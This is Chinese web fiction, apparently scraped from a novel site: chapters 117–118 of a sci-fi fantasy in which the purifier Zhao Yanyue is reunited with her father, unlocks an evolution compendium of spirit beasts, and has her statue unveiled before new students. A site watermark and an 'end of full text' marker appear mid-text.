“什么？殿下在哪？哪呢哪呢？” 身边的人群渐渐聚了过来，而殿下的飞行器早已无声滑入空中。 赵宴月坐进飞行器里，刚摘下兜帽，脑海里就响起了撒因的声音。 【叮咚！能量条满了，现在我就可以去接引赵董事长】 赵宴月喝水的动作稍顿，疑惑道：“《进化图鉴》不是还没解锁吗？” 青藤以前在纯生教的地下研究所不知道被关了多少年，对契约这件事有点心理阴影。 虽然它早就已经加入了这个家，但事实上青藤一直都没和赵宴月契约，赵宴月也并没有威逼利诱青藤和她契约。 倒不是她不想解锁进化图鉴，主要是松教授那边估摸着也快要出成果了，等待就可以解决的事也不必勉强青藤。 【能量条是靠信仰攒满的，在成功这方面基本没有能量可以攒了】 信仰。 赵宴月眸光微动。 撒因的能量条并不是什么好攒的东西，它之前说过向全世界宣布S级净化师的身份都只能填满70%，这都算不上100%成功人生。 曾经攒满的能量条早已被花光，按理来讲她也和在地球上一样没法更成功了，想要攒能量只有唯一剩下的《进化图鉴》，但现在看来又有了新的攒能量方式。 一想到这，赵宴月一下子就发现了盲点：“也就是说只要信仰一直在，某种程度上来说我能长生不死。” 【没错！作为高维生物，只要有能量我就可以做任何事，我们未来可以去新的星球，你甚至可以成为我唯一的宿主】 撒因说到这又开始回忆往昔，机械音里还带着些许怀念。 【当时看见你的第一眼，我就知道你是我命中注定的宿主，要是你以后挂掉了，我只能重新流浪寻找新的宿主】 【以后可能再也找不到像你一样让我一见倾心二见倾情三见……】 “停。” 【好的】 赵宴月目光微凝，处理了一下脑子里的信息，而后笑了一声开口道：“你先去把赵董事长接过来吧。” 【好的，指令确认，开始执行】 【能量链接建立中……预计119小时43分后完成】 处理完一件大事，赵宴月靠在椅背上，瞥了眼在她身边懒洋洋盘着的青藤。 “真是指望不上你。” 青藤甩了甩尾巴尖，假装没听见。 身后的男人贴心地给赵宴月捏着肩膀，许白亦不咸不淡地瞥了他一眼：“刚从前线下来就这么着急忙慌往殿下身边凑，真是辛苦你了。” 柏慈长长的睫毛微微垂下，精致的脸上透着冰冷的美丽，语气温和道：“不辛苦，侍奉殿下是我应该做的。” “这好像是我的活。”许白亦语气从容而危险：“殿下选择的骑士是我。” “侍奉殿下是每个人都该做的，分什么你的我的。”柏慈顺从地改口，而后停下了手上的动作，看向赵宴月问道：“对吧殿下。” 赵宴月目光停留在光屏上，随意回道：“都行。” 第117章 “前线的情况怎么样？”赵宴月从光脑里抬起头问道。 柏慈手上的动作未停, 只不过说到正事声音沉静了几分：“成功击退了虫潮，但比起殿下在场时战损比确实高出不少，编号星Ti-07这次的虫潮规模不算大。” 许白亦看过来道：“说来这也是许清雪带领其他B级净化师首次出征, 虽然击退了虫族, 但和殿下的差距也客观存在。” 虫族没有了王虫并不代表它们从此销声匿迹，只不过发动虫潮的频率从三天一小次五天一大次变成了一个月三四次。 走访过程中遇上大规模虫潮的时候赵宴月都会赶往前线, 日子也算过得十分充实，一天都没歇着。 “和我比有差距很正常，但是和曾经比起来, 这个伤亡数已经少很多了。”赵宴月目光从一个个数据上扫过，关掉了许白亦给她发来的战报：“净化师说到底只是尽可能解决污染, 战场上的生死靠的还是战士们自己的实力，伤亡高倒也不能把锅全扣在净化师头上。” 即便她能让每一个战士从始至终都不受污染干扰，伤亡也依旧存在。 “没有人会苛责他们, 事实上大家都心存感激, 只不过在对比之下，战士们难免会更期待殿下的出现。” 柏慈刚从前线下来, 对当前现役军团里的情况最清楚不够，稍稍垂下眸道, “只要上战场就事关生死, 殿下的存在就是最大的定心丸, 士气、配合、乃至运气好像都会不一样, 至于提升联邦军团的整体实力虽然也迫在眉睫, 但毕竟不是一日之功。” 虫族是杀不完的，它们猎杀人类，而人类契约灵兽抵御虫族，虫族的晶源又恰好是灵兽唯一的食物。 这样的运行模式达到了一个平衡, 这导致战争永远不会消失，这就是摆在联邦面前的现实。 即便提升军队实力是一个永恒的话题，但是到底该怎么有突破性的进展没人能找到答案。 就在这时，赵宴月的光脑忽然叮咚一声，提示收到了来自松教授的邮件。 一点开附件，青藤详细的数据图表和演化树便呈现在眼前。 几乎在同一时间，赵宴月胸口沉寂已久的一团模糊金光骤然亮起。 《进化图鉴》终于达成了解锁条件，金光化作一张张书页翻过，最后封面合上，“进化图鉴”四个大字清晰而流光溢彩。 赵宴月稍稍坐直了身体，快速浏览着《进化图鉴》解锁的内容，目光扫过那些光怪陆离、形态各异的灵兽图谱和进化路径，发现其中许多灵兽甚至连她都不认识，而一些近代常见的灵兽反而未见记载。 这就是《进化图鉴》说的关于灵兽无所不知？ 《进化图鉴》仿佛看出了她的羞辱，金光化作一行字出现在赵宴月的眼前。 “《进化图鉴》收录三垣星历1年以前所有秘境内灵兽的完整进化链，新出的不算！” 那可真是超级大削弱。 赵宴月知道秘境并不会一直存在，不断有新秘境新灵兽出现，也不断有古老的秘境沉寂。 一旦秘境沉寂，大家自然也拿不到里面的灵兽蛋，相当于《进化图鉴》收录的许多进化链都是没有用的。 虽然有点小小的遗憾，但除了只有进化链没有灵兽的部分图鉴外，剩下的灵兽也够丰富多彩了。 赵宴月看着部分灵兽破坏力强大的技能描述，忽然感慨：“这才是真正的攻击类灵兽啊，联邦对灵兽的探索度真是不足百分之一。” 许白亦虽然觉得她的感叹有些突如其来，但还是点点头道：“机甲工程师的数量本身也不多，确实还有很长的路要走。” “实则不然。” 许白亦：“……” 许白亦：“就这么自己反驳自己，真是让人很难接话。” 柏慈看了他一眼，礼貌建议道：“那可以不说话，就和我一样。” 烈阳城的净化事宜已经结束，当晚赵宴月下榻的酒店房间内，她坐在书桌后将《进化图鉴》里所有的信息分门别类地记录到光脑之中，感觉这个工作量实在不小。 【我回来了】 撒因的机械音毫无预兆地在脑海中响起，打破了房间里的安静。 赵宴月动作一顿，问道：“接到人了？” 【来回也就两秒的事，预计时间这么久是我考虑到赵董事长或许有许多事务要进行交接】 撒因的话音刚落，房间中便彷佛被某种无形的能量场扰动，泛起了水波般的涟漪，一道身影在光晕中由虚转实。 来人穿着剪裁合体的休闲装，随意披着一件羊绒开衫，鼻梁上驾着一副眼睛，身上自带一种沉静的气场。 虽然脸上看着依然年轻，但是头发却明显白了不少，看得出来这几年日子过得应该不算好。 赵董事长不发一言地看着赵宴月，一双和赵宴月四五分相似的眼睛里漆黑的瞳仁微微颤动，透着一丝难得一见的恍然。 在看到她爹本人以及他白了许多的头发后，赵宴月离家出走好几年的心虚终于良心发现地弥漫了上来，半天没敢吱声。 两人几年不见，相见的场面并没有像寻常家人一样激动地呼喊着上前拥抱，甚至热泪盈眶。 父女俩打量着彼此，都在试图从对方的身上推测出更多的信息，以此拿到更多主动权。 赵董市长在确认一切都是真实发生的之后，原本失而复得的狂喜，折磨了他无数个日夜的“赵宴月失踪是不是死了”的猜测都彻底消散，眼神也瞬间变得清明而具有压迫感了许多。 他几乎是立马打量起了周围的环境，恢复成了赵宴月记忆中的模样，声音不轻不重道：“看来撒因先生所言非虚，你在三垣星系过得很不错，这真是让爸爸感到了难得的欣慰。” 他说到这走到了赵宴月书桌对面的椅子上坐下，毫不吝啬地表达起了自己的担忧。 “在你失踪的那段时间里，我每个晚上一闭上眼就担心你会不会吃不饱穿不暖，被人欺负，没钱只能在街上流浪，饿到翻垃圾桶找吃的，我幻想你会不会哪一天终于认识到错误，愿意重新回到爸爸身边，但随着你失踪的日子越来越长，我又开始猜测你会不会被拐卖进了哪座大山里，在给哪个愚蠢的傻小子当媳妇……又或者已经死了。” 赵董事长嗓音温和地说完，最后看着好端端坐在自己面前的女儿，做了个总结道：“我担心你担心得头发都白了一半，虽然看到你过得不错爸爸确实松了一口气，但总觉得有些不公平，可能父爱也没那么无私。” 赵董事长的父爱要真有那么无私，当初她都不会来三垣星系。 赵宴月将他所有的反应尽收眼底，心里也得出了结论。 她有没有认识到错误不知道，但是赵董事长肯定对他的错误认识得不多，绝口不提自己“离家出走”的原因完全在他自己身上。 本来发现赵董事长放下所有身份地位和财富来了三垣星系还有些感动，现在赵宴月打算先暂停感动。 她将光脑一关，双手交叉看向对面的人，语气认真道：“看到您头发白了许多我也感到很痛心，那接下来的日子可就轮到我好好照顾您了。” 虽然这句话里每个字都透着孝顺，但是她的语气并不太孝顺。 赵董事长眼镜后的目光微微闪动了一下，瞬间听出了赵宴月以其人之道还治其人之身的潜台词。 他没有立刻反驳或表现出被冒犯，只是缓缓摘下了眼镜，从口袋里拿出丝绒布细致地擦拭着镜片，借此平复一下心里的情绪。 也对，现在孩子翅膀硬了，父女之间的地位已然颠覆，以前的那套已经不管用了。 三垣星系的情况撒因早就和他有过介绍，很明显他已经没有办法再将赵宴月纳入保护的羽翼下。 赵宴月曾经忍受不了的掌控和监视，他自然也忍受不了，赵董事长对此十分有自知之明，也并不打算亲自体验。 曾经他为了能让自己感到安心只能苦了孩子，现在也只能苦了自己了，在他做出来三垣星系的选择时就已经意味着妥协。 片刻后，赵董事长重新戴上眼镜，语气带着点失败的细微沮丧：“我会尽量做个正常人，不过我能来到这里已经足够说明我是个好父亲。” 不愧是她爹，一下子就做出了对自己最有利的选择。 赵宴月心里有些诡异的失望，但赵董事长已经签订了承诺书，她只好继续开始感动。 “虽然您的自我评价有些虚高，但总体来说我们之间的父女亲情还算坚韧，这也是我们还能团聚的唯一原因。” “虚高吗，事实上我认为我比绝大部分父亲都更优秀。” 赵宴月还来不及说什么，房门此时被推开，赵宴月和赵董事长都看了过去。 站在门口的许白亦看着在客厅书桌前坐着的两人愣了愣，清冽的目光看向赵宴月：“这是？” 赵董事长的目光在他手里的房卡上停留片刻，随后也看向赵宴月道：“我来得不巧了？”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完结】 第118章 即便走访配备的随行人员并不少, 但总归是要东奔西走。 赵董事长和赵宴月仅仅团聚了两天，便按捺不住在三垣星系开启全新商业版图的心，常驻在了云中宫殿所在的一区。 分别之前, 赵董事长温柔地戳着赵宴月的心窝子：“听撒因先生说, 你最初的目标是当联邦首富，现在看来你离这个目标还很遥远, 不过爸爸会帮你实现的。” 赵宴月抬起下巴冷漠道：“您新来的可能还不清楚，只要我说我想当联邦首富，首富他老人家立马就能退位让贤。” 赵董事长对三垣星系的了解比较浮于表面, 对赵宴月现在天上地下唯她独尊的地位也毫无认知，不过听到这话他便直接换了切入点：“不是自己赚来的联邦首富毫无意义。” “是吗？”赵宴月朝赵董事长伸出手道：“那您把启动资金还给我, 从捡垃圾开始赚第一桶金，路边灵兽牛奶罐0.5星币一个，普通牛奶罐0.25星币一个。” 赵董事长：“……你要让爸爸去捡垃圾？” “不可以吗？” “不可以。” 在奔赴下一个目的地的路上, 赵宴月也将被她命名为《灵兽进化链参考大全》的文档发给了闻星洲。 几乎是发送成功后的不久, 光脑里便有通讯请求弹了出来。 闻星洲的虚拟影像出现在飞行器的舱内，他向来是个喜怒不形于色的人, 但此刻的表情却格外复杂。 目光扫过赵宴月身边的许白亦和柏慈，他稍稍顿了顿才开口：“这应该是殿下辛勤研究、多年攻关的成果？” 这成百上千条的完整进化链, 闻星洲就算再怎么加上“多年攻关”的修饰词给她找借口, 也根本不是正常人能做到的。 “没那么艰难, 做梦梦到的。”赵宴月倒是连装都懒得装一下, 慵懒地倚在真皮沙发里说道：“能梦到这么多进化链, 还得感谢以松教授为首的工程师们的大力付出，拿去研究吧，要谢就谢他们。” 光脑另一端的男人沉默了一会儿才道：“有时候觉得殿下就是上天赐予三垣星系的一份奇迹，虽然光辉离所有人都很近, 实际却和天边高悬的太阳一样触不可及。” 柏慈倒茶的动作微微一顿，看向全息影像里的人眼神凉凉。 闻星洲突如其来的感慨也十分浅尝辄止，而后便立马换了话题道：“前几天看到战报时我还在忧虑未来，担心殿下以后不在了，联邦是否又会在新生王虫的威胁下苟延残喘，现在总算是多了几分把握和底气。” “未来的事就交给未来的人去操心。”赵宴月手上把玩着一枚净化晶源，见闻星洲都操心上自己死掉之后的未来了，又大发慈悲地安慰了一句：“王虫而已，说不定未来也会有下一个‘赵宴月’。” “下一个‘赵宴月’吗？”闻星洲将这个比喻琢磨了一下，笑道：“殿下很有安慰人的天赋。” 赵宴月本来还因为旅途劳累没什么聊天的兴致，听了这话倒是眼睛一亮，有种找到了知音的愉悦：“还是执政官独具慧眼，一般我安慰别人的时候，大家都叫我闭嘴。” 闻星洲看着她，也开了个小玩笑：“所以说我才是执政官。” 待通讯挂断，柏慈将茶杯推到赵宴月的面前，体贴道：“说了这么多话，先喝点水吧。” 许白亦见他献殷勤，见缝插针地客观评价：“其实也没说几句，没有针对你的意思哈，我只是在陈述事实。” “没有针对你的意思，你可以别陈述吗。”柏慈不冷不热地说完，然后看向赵宴月：“玩政治的心都脏，以后别和闻星洲说话。” “这话怎么说。”赵宴月喝茶的空隙看了他一眼，慢条斯理道：“你们关系不是挺好的吗。” “我觉得这个家现在就已经够拥挤的了。”柏慈忍无可忍，语气里带着一丝难以察觉的郁闷：“你到底选许白亦还是选我。” 许白亦也听到了柏慈的话，不过他自始至终都很从容，向柏慈虚心请教道：“听说只有不被爱的才会患得患失，你怎么看？” 赵宴月根本不参与他们之间的对话，沉浸在爱心互助论坛里愉快刷帖。 如今星网上根本找不到她的任何一个黑粉，连冲浪的乐趣都少了许多，唯有爱心互助论坛还是一片净土。 论坛的网友们唯一狂热推崇的净化师是裘花花，时常展开赵宴月vs裘花花的世界大战，辩论的精彩程度令人拍案叫绝。 赵宴月有时站赵宴月，有时站裘花花，每次看到精彩之处，都会感动到多上架一批净化晶源。 净化的征程还在“苦了她一个，幸福千万家”的奔波中继续，三个月后，圣芙尔净化学院也迎来了开学季。 娇嫩如初绽花苞的新生们怀着憧憬与敬畏，在邓副院长的带领下开启入学第一课，前往云中宫殿的圣地长生殿。 通往长生殿的“荣耀长廊”两侧，矗立着历代功勋卓著的净化师雕塑。 雕塑的基座上铭刻着他们的生平与净化人数，无声诉说着净化师们充满光环的一生。 “每一位殿下的名字都会铭刻在长生碑上，供后人瞻仰。”邓副院长的声音沉稳，笑着看向一张张年轻气盛的青春脸蛋：“你们其中或许也会有贡献特别突出者，未来如这些先贤一般被单独塑像立碑，永世流传。” 新生们好奇地看着各个雕塑基座上数不清的净化人数，暗中对比古往今来哪一位净化师的净化人数最多，一个男生忍不住问道：“那殿下呢？她也有雕像吗？她净化的人数那么多，会不会长到基座都刻不下。” 前面不带任何名字的“殿下”指的是谁大家心里都清楚，另一个细心的女生看着雕像名字下方刻的生卒年分，接话道：“殿下还那么年轻，立雕像……应该是很久以后的事了吧？” “谁说的？”一个温和含笑的声音从前方传来。 学生们抬头，看见段院长不知何时已站在前方不远处，显然听到了他们的对话。 段院长走上前来，目光扫过这些充满朝气的面孔，眼中带着些许感慨与骄傲：“殿下的雕像早已立好，好奇的话就加快脚步吧。” “诶？”学生们对能看到赵宴月的雕塑又有点惊喜又有点担心：“可是现在就塑像，上面的净化人数不太准确吧，难道等殿下……之后再立一座？” “有道理，总之先立再说。” “快走啦，去看看就知道了。” 邓副院长也并没有直接解答他们的疑问，引领着新生们向前走去，声音温和地向这些未来的净化师们介绍道：“赵宴月殿下，联邦有史以来唯一一名的超S级净化师，为联邦带来了至关重要的和平时代。” “她行走于三大星域，深入无数偏远城区进行巡回净化，所到之处污秽涤清，希望重燃，迄今为止，经她之手净化的将士与民众早已不计其数，其功绩也无法用净化人数来衡量。” “如今三垣星系的每一位居民，都直接或间接地沐浴在她的光辉之下，我们因此迎来了联邦数百年来最有希望的时代。” 虽然邓副院长的语气并不激昂，新生们却听得心潮澎湃，恨不得自己也能立马大展拳脚，兴奋地跟随着邓副院长来到了一座崭新的雕塑前。 这座雕塑和前面的雕塑一样采用传统端庄站立的姿态，只不过捕捉了一个动感又充满神性的瞬间，少女半阖着眼，发丝与衣袂仿佛无风自动，天光为她周身笼罩上一层朦胧的光晕。 学生们下意识屏息凝神，抬头仰望着这座栩栩如生的雕塑。 “哇，第一次见有雕像能把‘睥睨’这两个字表现得这么生动形象，和真人的气质一模一样。” “应该是哪位雕刻大家的作品吧，可能也是殿下的小粉丝。” “院长说以殿下的雕像为起点，未来单独塑像的净化师不会再以净化人数做参考，还要根据战功评判功绩。” “要是我早生几年就好了，说不定还能争一争殿下旁边的位置。” “那殿下对面的位置归我。” “你想得美。” 吵吵闹闹间，许久之后才有人从雕塑上移开目光，看向了下方的基座。 上面并没有一长串辉煌的数字和长篇的生平记载，基座上的铭文简洁至极，其中所蕴含的荣耀却令人心头一震。 【联邦的珍宝，永恒的太阳】魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m